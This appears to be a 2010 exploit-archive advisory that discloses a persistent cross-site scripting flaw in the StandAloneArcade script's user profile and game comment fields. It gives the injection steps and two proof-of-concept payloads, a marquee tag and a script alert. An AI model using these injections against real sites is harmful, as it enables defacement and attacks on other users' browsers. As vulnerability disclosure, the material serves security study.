Home / os / win7

StandAloneArcade Script Persistent XSS Vulnerability

Posted on 21 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>StandAloneArcade Script Persistent XSS Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================
StandAloneArcade Script Persistent XSS Vulnerability
====================================================

AUTHOR : Cur53D
MAIL : Hyq6xx[at]gmail.com
DATE : 20,August,2010
Blog : www.Cur53D.dlstreet.net
Type : XSS
Greetz : Sid3^effects,D34D F0X TH3 BL4CKH4T,*L0rd CrusAd3r*,D4rk357,Sonic,Nishi,r4z0r

####################################################################################
About the Script:

StandAloneArcade is a free social arcade platform. We make it easy for you to create your own fully

featured arcade website. We have built in, easy to use game adders which allow you to add thousands of

games instantly and easily to your arcade. StandAloneArcade has full multi-language support, multi-theme

support, and tons of admin options. Everything is easily customizable! StandAloneArcade supports multiple

game sources and game types, featuring a full highscore system with leaderboards for top players and

games.

Vendor:http://standalonearcade.com/

Demo? :http://standalonearcade.com/demo/
####################################################################################
XSS Vulnerability effects the users profile and Comments Section in Games

Go to the site,Register---&gt;edit Profile and insert your script like the below one

&quot;&gt;&gt;&lt;marquee&gt;&lt;h1&gt;Cross Site Script3d By Cur53D&lt;/h1&gt;&lt;marquee&gt;

Or
Go to any game and put this in the Comment Section Below!

&quot;&gt;&lt;script&gt;alert(&quot;inj3ct0r&quot;)&lt;/script&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :